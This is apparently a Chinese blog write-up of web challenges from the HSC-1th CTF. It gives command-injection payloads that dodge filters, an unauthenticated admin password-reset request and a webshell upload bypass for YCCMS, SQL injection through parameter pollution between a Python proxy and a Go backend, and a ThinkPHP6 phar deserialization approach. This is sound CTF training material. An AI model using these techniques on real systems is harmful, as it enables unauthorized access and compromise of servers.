您当前的位置: 首页 > 

Snakin_ya

暂无认证

  • 3浏览

    0关注

    107博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

[HSC-1th]web wp

Snakin_ya 发布时间:2022-02-22 21:31:03 ,浏览量:3

Web-sign in

robots.txt协议,fiag_ls_h3re.php

开发者工具查看源码即可

CLICK

main.js文件中

EXEC
 将命令执行结果输出到文件

cmd=llss${IFS}/.>b
cmd=cacatt${IFS}/ctf_is_fun_flflagag2021>b
CMS System

www.zip源码泄露

下载审计,存在未授权管理员密码修改

Yccms代码审计

POST /admin/?a=admin&m=update HTTP/1.1
username=admin&password=123456¬password=123456&send=%E4%BF%AE%E6%94%B9%E5%AF%86%E7%A0%81

image-20220220131843071

修改密码后登录后台

后台存在任意文件上传漏洞

CallAction.class.php

image-20220221143526853

跟进logupload

LogoUpload.class.php

image-20220221143746705

上传会将文件重命名并且后缀可控,修改文件名1.png.php,可以绕过checkType函数且重命名之后为logo.php

image-20220221144038015

蚁剑连接即可

image-20220221144502983

Language

源码里有两个文件夹,一个是python,一个是go。其中python文件作为中转,将请求进行处理后再转发给go项目进行处理。

先看看go项目目录结构

image-20220222130513827

关键点在于backend.go

package controller

import (
	db "ctf/database"
	"encoding/json"
	"fmt"
	"github.com/buger/jsonparser"
	"io/ioutil"
	"net/http"
)

type Language struct {
	Id  int32  `json:"id"`
	Name string `json:"name"`
	Votes int64 `json:"votes"`
}


func Index(w http.ResponseWriter, _ *http.Request) {
	ok(w, "Hello World!")
}

func List(w http.ResponseWriter, _ *http.Request) {

	rows, err := db.Sqlite.Query("SELECT * FROM languages;")
	if err != nil {
		fail(w, "Something wrong")
		fmt.Println(err.Error())
		return
	}
	defer rows.Close()

	res := make([]Language, 0)
	for rows.Next() {
		var pl Language
		_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)
		res = append(res, pl)
	}
	err = json.NewEncoder(w).Encode(res)
}

func Search(w http.ResponseWriter, r *http.Request) {
	reqBody, _ := ioutil.ReadAll(r.Body)

	votes, err := jsonparser.GetInt(reqBody, "votes")
	if err != nil {
		fail(w, "Error reading votes")
		return
	}
	name, err := jsonparser.GetString(reqBody, "name")
	if err != nil {
		fail(w, "Error reading name")
		return
	}

	query := fmt.Sprintf("SELECT * FROM languages WHERE votes >= %d OR name LIKE '%s';", votes, name)
	rows, err := db.Sqlite.Query(query)
	if err != nil {
		fail(w, "Something wrong")
		fmt.Println(err.Error())
		return
	}
	res := make([]Language, 0)
	for rows.Next() {
		var pl Language
		_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)
		res = append(res, pl)
	}
	err = json.NewEncoder(w).Encode(res)
}


func Flag(w http.ResponseWriter, r *http.Request ) {
	action:= r.URL.Query().Get("action")
	if action == "" {
		fail(w, "Error getting action")
		return
	}

	token:= r.URL.Query().Get("token")
	if token == "" {
		fail(w, "Error getting token")
		return
	}

	var secret string
	row := db.Sqlite.QueryRow("SELECT secret FROM token;")
	if err := row.Scan(&secret); err != nil {
		fail(w, "Error querying secret token")
		return
	}

	if action == "readFlag" && secret == token {
		data, err := ioutil.ReadFile("flag")
		if err != nil {
			fail(w, "Error reading flag")
			return
		}
		ok(w, fmt.Sprintf("Congrats this is your flag: %s", string(data)))
		return
	}
	ok(w, "Wrong token")
}

也就是说满足action == "readFlag" && secret == token就能得到flag,而token是从数据库中查的,而query := fmt.Sprintf("SELECT * FROM languages WHERE votes >= %d OR name LIKE '%s';", votes, name)存在sql注入漏洞,由此可以满足条件。

再看app.py

from flask import Flask, request, render_template, jsonify
from urllib.parse import unquote
import requests

app = Flask(__name__)

server = '127.0.0.1:8000'


@app.route("/", methods=["GET"])
def index():
    return render_template("index.html")


@app.route("/list", methods=["POST"])
def listAll():
    r = requests.post(f"http://{server}/api/list")
    return jsonify(r.json())


@app.route("/search", methods=["GET", "POST"])
def search():
    if request.method == "GET":
        return render_template("search.html")
    else:
        data = request.json
        if data['name']:
            if not isinstance(data['name'], str) or not data['name'].isalnum():
                return jsonify({"error": "Bad word detected"})
        if data['votes']:
            if not isinstance(data['votes'], int):
                return jsonify({"error": "Bad word detected"})
        r = requests.post(f"http://{server}/api/search", data=request.data)
        return jsonify(r.json())


@app.route("/healthcheck", methods=["GET"])
def healthCheck():
    getPath = ["", "flag"]
    postPath = ["api/list", "api/search"]
    try:
        for path in getPath:
            requests.get(f"http://{server}/{path}")
        for path in postPath:
            requests.post(f"http://{server}/{path}")
    except:
        return "Down"
    return "OK"


@app.route("/", methods=["GET"])
def handle(path):
    if 'flag' in unquote(path):
        action = request.args.get('action')
        token = request.args.get('token')
        print(action)
        if action == "readFlag":
            return jsonify({"error": "Sorry, readFlag is not permitted"})
        r = requests.get(f"http://{server}/{path}", params={
            "action": action,
            "token": token
        })
    else:
        r = requests.get(f"http://{server}/{path}")
    return jsonify(r.text)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

这里做出了一些限制:

  • url中检测到action == "readFlag"返回报错
  • /search对输入参数进行了过滤,name必须是isalnum()(只能是字母和数字),votes必须是数字。

对于name和votes使用多参数绕过,python会解析第二个name,go会解析第一个name,因此我们可以进行sql注入。

image-20220222193754780

而对于action的过滤,利用编码绕过/flag%3faction=readFlag,python会将它解析为url,这样就可以绕过过滤而go会将其正常解析。

最终:

image-20220222195317391

image-20220222195835127

Avatar detection system

先上传测试一波,没搞出什么东西

image-20220222201103095

但我们观察到这里?s=upload,很像Thinkphp,访问一下不存在的模块试试

image-20220222201826666

TP6,反序列化一把梭,这里需要生成Phar文件,将后缀改为png上传,再利用phar协议执行即可

            
关注
打赏
1650510800
查看更多评论
0.0763s